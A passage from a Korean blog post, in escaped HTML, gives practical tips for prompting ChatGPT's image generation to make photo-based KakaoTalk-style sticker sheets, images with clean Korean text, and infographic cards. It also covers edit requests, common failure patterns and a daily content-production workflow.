&lt;li&gt;Threads @gpt_kimisa: &lt;i&gt;&quot;10초만에 나만의 이모티콘 만들기, 챗gpt에 이 프롬프트만 붙여 넣으면 끝!&quot;&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;X @MayorKingAI: &lt;i&gt;&quot;Create your own chibi stickers using ChatGPT for WhatsApp&quot;&lt;/i&gt; &amp;mdash; 프롬프트 공유와 함께 바이럴&lt;/li&gt;
&lt;li&gt;국내 브런치에서는 아기&amp;middot;자녀 사진 이모티콘 제작 후기가 다수 공유됨(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://brunch.co.kr/@dolsse822/311&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;브런치, 2025-04-14&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 작성 핵심 포인트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사진을 먼저 첨부하고 프롬프트를 입력한다&lt;/li&gt;
&lt;li&gt;그리드 규격을 명시한다 (4&amp;times;4, 16칸, 1:1 정사각형)&lt;/li&gt;
&lt;li&gt;&quot;카카오톡 이모티콘 스타일&quot;, &quot;카카오 프렌즈 감성&quot; 키워드를 참조로 넣는다&lt;/li&gt;
&lt;li&gt;표정 목록을 하나씩 열거하면 누락이 줄어든다&lt;/li&gt;
&lt;li&gt;흰색 외곽선(white outline, 약 6px)을 지정하면 스티커 컷아웃 느낌이 산다&lt;/li&gt;
&lt;li&gt;한글 텍스트는 짧게(2~4자), 위치를 명시한다&lt;/li&gt;
&lt;li&gt;얼굴 비율 고정 지시를 반드시 포함한다 (&quot;얼굴형&amp;middot;헤어&amp;middot;의상 100% 동일, 표정만 변화&quot;)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;[첨부 사진 속 인물]을 기반으로 카카오톡 이모티콘 스타일 스티커 16종을 한 장에 만들어줘.

[출력 사양]
- 비율: 1:1 정사각형, 해상도 1024&amp;times;1024 이상
- 배치: 4행 &amp;times; 4열 그리드, 16칸 모두 동일 인물
- 배경: 순수 흰색(#FFFFFF), 칸 사이 여백 충분히
- 각 캐릭터: 얼굴 중심 상반신, 흰색 외곽선(약 6px)으로 스티커 컷아웃 처리

[스타일]
- 실사 얼굴 특징을 유지한 세미 카툰 일러스트 (2D)
- 파스텔 톤 컬러 팔레트 (크림 베이지, 연한 핑크, 부드러운 민트, 채도 60% 이하)
- 따뜻하고 귀여운 분위기, 카카오 프렌즈 감성
- 표정마다 어울리는 미니 이모지(하트, 물방울, 별, 땀, 번개 등) 1~2개씩 추가

[16칸 표정 배치] (좌상단부터 행 우선)
1행: 귀엽게 삐진 &quot;흥칫뿡!&quot; / 혀 내미는 &quot;퉤!&quot; / 말 거는 &quot;안녕!&quot; / 뾰루퉁한 &quot;살쪄도 귀엽거든!&quot;
2행: 호통치는 &quot;롹쳐라!&quot; / 환하게 웃는 &quot;반가워!&quot; / 우는 &quot;힝 ㅠㅠ&quot; / 졸린 &quot;졸려요~&quot;
3행: 놀란 &quot;우와!&quot; / 멍한 &quot;멍~&quot; / 먹는 &quot;냠냠~&quot; / 하트눈 &quot;좋아요!&quot;
4행: 화난 &quot;크앙!&quot; / 짜증난 &quot;쳇!&quot; / 당황한 &quot;응?&quot; / 자신만만한 &quot;반짝!&quot;

[텍스트 스타일]
- 둥글고 통통한 손글씨체
- 진한 갈색 또는 검정, 흰색 외곽선 2px
- 위치: 캐릭터 머리 위 또는 옆 빈 공간

[엄수 사항]
- 16칸 모든 캐릭터의 얼굴형/헤어/의상은 100% 동일, 표정만 변화
- 첨부 사진 속 인물의 핵심 얼굴 비율(눈 위치, 코-입 거리, 얼굴 윤곽)은 그대로 유지&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;!-- Tistory 업로드 후 img 태그를 &lt;span class=&quot;imageblock&quot;&gt;&lt;span data-url=&quot;//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png&quot; data-phocus=&quot;//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png&quot;&gt;&lt;img src=&quot;//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png&quot; srcset=&quot;//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png&quot;/&gt;&lt;/span&gt;&lt;/span&gt; 형식으로 교체 --&gt; &lt;img style=&quot;width: 100%; max-width: 600px; display: block; margin: 15px 0; border-radius: 8px; box-shadow: 0 2px 12px rgba(0,0,0,0.1);&quot; src=&quot;sticker-example.png&quot; alt=&quot;ChatGPT GPT-4o로 만든 카카오톡 스타일 이모티콘 스티커 시트 16종&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 알아두어야 할 한계 3가지&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;① 한글 텍스트가 깨질 수 있다.&lt;/b&gt; GPT-4o가 한국어 글자를 픽셀 패턴으로 처리하는 경향이 있어 이모티콘 안의 한글이 변형되거나 빠질 수 있다. 해결법: Canva나 파워포인트에서 둥근 손글씨 폰트(어비세현체 Bold, 배민 도현체 등)를 직접 덧씌운다. 커뮤니티에서 가장 많이 검증된 방식이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;② 16칸 그리드 내 얼굴 일관성이 흔들릴 수 있다.&lt;/b&gt; 칸마다 머리카락 색이나 옷 색상이 미묘하게 달라질 수 있다. 실제 사용자 사례에서 32개 생성 시 최종 완성이 9개(28%)에 그친 경우도 보고됐다. 칸을 4~8개씩 나눠 생성하거나, 문제 칸만 재생성을 요청하는 편이 낫다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;③ 카카오 이모티콘샵 공식 입점은 불가하다.&lt;/b&gt; 카카오는 2023년 9월부터 생성형 AI를 활용한 이모티콘의 공식 판매를 제한하며 2025년 현재도 유지 중이다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.inews24.com/view/1830570&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;아이뉴스24&lt;/a&gt;). 개인 단톡방 사용과 SNS 공유에는 제한이 없다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반대로 여기서 일부러 늘리지 않은 포맷도 있다. 명언 카드, 체크리스트 카드, 마인드맵은 겉보기에 새로워 보여도 지금 글 안에서는 각각 SNS 카드, 카드뉴스, 다이어그램과 경계가 많이 겹친다. 유형 수를 늘리기보다, 실제로 다른 결과를 만드는 포맷만 남기는 편이 낫다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 한글 텍스트 잘 넣는 법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GPT Image 2에서 눈에 띄는 장점이 한글 렌더링 개선이지만, 그렇다고 아무렇게나 적어도 잘 나오는 것은 아니다. 한글이 깨끗하게 들어가는 프롬프트에는 공통 패턴이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;텍스트는 따옴표나 대괄호로 감싼다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프롬프트 안에서 어디까지가 이미지에 들어갈 텍스트인지 모델이 헷갈리지 않도록, 들어가야 할 문구를 &lt;code&gt;[ ]&lt;/code&gt; 또는 &lt;code&gt;&quot; &quot;&lt;/code&gt;로 감싼다. &quot;중앙에 '오늘의 개발 팁'이라고 크게&quot;보다 &quot;중앙에 [오늘의 개발 팁] 텍스트를 크게&quot;가 더 잘 먹힌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;폰트 스타일을 지정한다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;굵은 산세리프&quot;, &quot;가는 명조체&quot;, &quot;손글씨 스타일&quot; 같은 키워드를 함께 넣으면 텍스트의 느낌이 의도와 가까워진다. 한글 폰트의 특정 이름(예: 나눔고딕, 본명조)은 모델이 인식하기 어려워 일반적인 스타일 키워드로 적는 편이 낫다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;글자 크기 위계를 명시한다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;제목 크게, 본문 작게&quot; 정도로는 부족하다. &lt;b&gt;&quot;제목은 본문의 3배 크기&quot;, &quot;헤드라인 48px 스타일, 본문 14px 스타일&quot;&lt;/b&gt;처럼 비율이나 픽셀 기준 키워드를 적으면 결과물의 위계가 명확해진다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;카카오톡 스타일 알림 카드 이미지 만들어줘.

배경: 노란색
중앙 상단: 큰 제목 [Claude Sonnet 4.6 출시] (굵은 산세리프, 본문의 3배 크기)
중앙 하단: 부제목 [더 빠르고 정확해진 AI 코딩 도구] (보통 두께)
하단 우측: 작은 날짜 [2026-04-28]
모두 한국어&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 프롬프트 작성 핵심 원칙 5가지&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떤 유형이든 공통으로 적용되는 원칙이다. 이 다섯 가지만 기억해도 프롬프트 품질이 눈에 띄게 좋아진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;① 구체적으로 적는다.&lt;/b&gt; &quot;예쁜 이미지&quot;는 아무것도 아니다. 색, 크기, 위치, 항목 수까지 숫자와 명사로 적는다. &quot;라이트 민트색 배경, 중앙에 큰 아이콘 1개, 하단에 설명 텍스트 2줄&quot; 정도가 출발선이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;② 스타일 키워드를 넣는다.&lt;/b&gt; &quot;미니멀&quot;, &quot;플랫 디자인&quot;, &quot;3D 렌더링&quot;, &quot;수채화&quot;, &quot;픽셀아트&quot;, &quot;일러스트레이션&quot; 같은 단어 한두 개가 톤 전체를 결정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;③ 비율과 크기를 지정한다.&lt;/b&gt; &quot;1:1 정사각형&quot;, &quot;16:9 가로형&quot;, &quot;9:16 세로형(스토리/릴스)&quot;. 어디에 쓸 이미지인지에 따라 골라 쓴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;④ 색상은 이름이나 코드로 못 박는다.&lt;/b&gt; &quot;파란색&quot;보다 &quot;네이비&quot;가, &quot;네이비&quot;보다 &quot;#0d1b2a&quot;가 더 정확하다. 톤이 중요한 작업이면 헥스 코드로 적는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;⑤ 이미지 안에 들어갈 텍스트는 따옴표나 대괄호로 감싼다.&lt;/b&gt; 프롬프트 설명 문장과 실제 이미지 텍스트가 구분되어 모델이 덜 헷갈린다.&lt;/p&gt;
&lt;!-- 콜아웃: 파랑 --&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;다섯 원칙을 한 문장으로 묶으면 이렇다. &lt;b&gt;&quot;무엇을, 어떤 스타일로, 어떤 비율과 색에, 어떤 텍스트와 함께&quot;&lt;/b&gt;. 이 네 축이 빠짐없이 들어 있는 프롬프트는 결과물의 70% 이상을 1차 시도에서 잡아낸다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 대화형 편집 &amp;mdash; 수정 요청하는 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GPT Image 2는 대화 맥락을 기억한다. 방금 만든 이미지에 대해 자연어로 수정을 요청하면 된다. 처음부터 다시 짜는 것보다 빠르고, 일관성도 유지된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자주 쓰는 수정 요청 패턴이다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;방금 만든 이미지에서 배경색을 네이비로 바꿔줘.
텍스트를 한국어로 바꿔줘.
오른쪽 열에 항목 3개 더 추가해줘.
전체적으로 더 미니멀하게, 불필요한 장식 제거해줘.
상단 타이틀을 [2026년 AI 트렌드]로 바꿔줘.
폰트를 더 굵게, 가독성 높게 바꿔줘.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 가지 주의할 점이 있다. 대화가 너무 길어지면 모델이 초기 맥락을 흐리기 시작한다. &lt;b&gt;수정이 5~6번을 넘어가는데도 의도와 멀어진다면, 새 대화창을 열어 처음부터 정리한 프롬프트로 다시 만드는 편이 낫다&lt;/b&gt;. 잘 나온 이미지가 다음 시도에서 그대로 나오지 않을 수도 있다는 점도 감안한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 실패 패턴과 해결법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 수십 장을 만들어보면 비슷한 실패 패턴이 반복된다. 자주 마주치는 세 가지와 해결법을 정리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;패턴 1 &amp;mdash; 너무 많은 요소를 욱여넣었다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 이미지에 10개 이상의 서로 다른 요소를 넣으면 레이아웃이 무너진다. 항목이 겹치거나, 텍스트가 박스 밖으로 빠져나가거나, 의도하지 않은 빈 공간이 생긴다. 이럴 때는 &lt;b&gt;핵심 3~5개로 줄이거나, 여러 장으로 나누는 편&lt;/b&gt;이 낫다. 한 장에 다 담으려는 욕심이 가장 흔한 실패의 원인이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;패턴 2 &amp;mdash; 긴 문장을 이미지 안에 넣었다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 안에 두세 문장 이상을 넣으면 중간에 글자가 깨지거나, 줄바꿈이 어색해진다. 한글 렌더링이 좋아졌다고 해도, 긴 문단을 깨끗하게 그려내는 일은 여전히 다른 차원이다. 이미지에는 &lt;b&gt;짧은 키워드와 슬로건&lt;/b&gt; 위주로 넣고, 긴 설명은 캡션이나 본문 텍스트로 분리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;패턴 3 &amp;mdash; 특정 브랜드 로고를 그대로 그려달라고 했다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애플, 구글, OpenAI 같은 실제 기업 로고를 그대로 재현해달라고 하면 거절되거나 비슷하지만 어딘가 다른 결과가 나온다. 저작권 문제 때문이다. 우회 방법은 두 가지다. &quot;유사한 스타일의 추상 아이콘&quot;으로 바꾸거나, 로고 자리를 비워두고 사후에 실제 로고를 합친다.&lt;/p&gt;
&lt;!-- 콜아웃: 빨강 --&gt;
&lt;div style=&quot;background: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;세 패턴에서 공통으로 보이는 점이 있다. &lt;b&gt;생성형 이미지는 한 번에 너무 많은 일을 시키면 바로 흔들린다.&lt;/b&gt; 한 이미지의 역할을 좁히고, 부족한 부분은 여러 장이나 사후 편집으로 메우는 쪽이 대체로 더 깔끔하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 실전 워크플로우 &amp;mdash; 콘텐츠 제작 파이프라인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금까지의 내용을 실제 운영에 어떻게 녹이는지 정리한다. SNS 운영자, 블로거, 뉴스레터 작성자에게 그대로 적용되는 주간 워크플로우다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;단계 1 &amp;mdash; 주제 수집&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뉴스, 한국 개발 커뮤니티(GeekNews 등), trendshift.io 등&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;에서 그날의 화제 거리를 모은다. 이 단계는 이미지 생성과 무관하지만, 좋은 인풋 없이는 좋은 이미지도 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;단계 2 &amp;mdash; ChatGPT에 정리 요청&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수집한 원본을 ChatGPT 채팅창에 그대로 붙여 넣고, 분류와 요약을 시킨다. 이 단계의 출력은 이미지가 아니라 &lt;b&gt;구조화된 텍스트&lt;/b&gt;다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Trendshift처럼 랭킹 데이터를 다룰 때는 순서도 중요하다. &lt;b&gt;원본 랭킹과 날짜를 먼저 붙여 넣고, 해석은 그다음 시키는 편&lt;/b&gt;이 낫다. 순서를 거꾸로 두면 모델이 근거 없는 변화량이나 판단 문구를 먼저 만들어버릴 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;단계 3 &amp;mdash; 이미지 프롬프트로 전환&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 대화창에서 &quot;이 내용을 인포그래픽으로 만들어줘&quot;라고 요청한다. 앞 단계에서 정리한 텍스트가 자동으로 프롬프트 재료가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;단계 4 &amp;mdash; 대화형 수정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1차 결과물을 보고 색상, 레이아웃, 텍스트를 자연어로 다듬는다. 보통 2~3회 수정으로 발행 가능한 수준이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;단계 5 &amp;mdash; 저장과 배포&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종 이미지를 저장하고 SNS, 블로그, 뉴스레터에 게시한다. 같은 콘텐츠를 X용 1:1, 블로그용 16:9, 인스타용 9:16로 변형해두면 멀티 채널 배포가 쉬워진다.&lt;/p&gt;
&lt;!-- 콜아웃: 파랑 --&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;매일 같은 시리즈(예: Trendshift TOP25 해설판)를 운영한다면, 한 번 잘 만든 프롬프트 템플릿을 메모장에 저장해두고 &lt;b&gt;날짜와 내용만 갈아 끼우는 방식&lt;/b&gt;으로 반복 작업을 꽤 많이 줄일 수 있다. 필자는 이 방식으로 매일 1장의 요약 카드를 빠르게 정리한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 결론 &amp;mdash; 이미지 유형 선택 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떤 유형의 이미지를 만들지부터 헷갈린다면, 목적에 따라 고르는 매트릭스를 참고한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;목적&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;추천 유형&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;비율 기본값&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;복잡한 정보를 한 장으로 요약&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인포그래픽 / 요약 카드&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;1:1 또는 4:5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SNS 바이럴 콘텐츠&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SNS 카드(플랫폼별)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;1:1, 16:9, 9:16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기술 개념 설명&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;다이어그램 / 아키텍처&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;16:9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;제품/서비스 시안&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;UI 목업&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;디바이스 비율&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;도구 비교, 의사결정 자료&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비교표 / 데이터 시각화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;16:9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;블로그 헤더, 유튜브 썸네일&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;썸네일 / 브랜딩&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;16:9, 2560x1440&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;개인 SNS &amp;middot; 단톡방 이모티콘&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;개인화 이모티콘 스티커 시트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;1:1 (1024&amp;times;1024)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;활용도가 가장 높은 조합은 &lt;b&gt;인포그래픽 + SNS 카드&lt;/b&gt;다. 같은 정보를 두 포맷으로 만들어 멀티 채널에 동시에 올리면 재활용 폭이 넓다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 생성은 더 이상 디자이너만의 영역만은 아니다. 코드를 모르는 사용자도 ChatGPT 채팅창 하나로 매일 올릴 콘텐츠를 만들 수 있다. 결국 오래 가는 차이는 도구보다 &lt;b&gt;프롬프트 구조를 얼마나 빨리 자기 것으로 만드느냐&lt;/b&gt;에서 나온다. 이 글의 6가지 패턴을 메모장에 저장해두고 한 주만 써봐도, 다음부터는 빈 캔버스 앞에서 덜 망설이게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
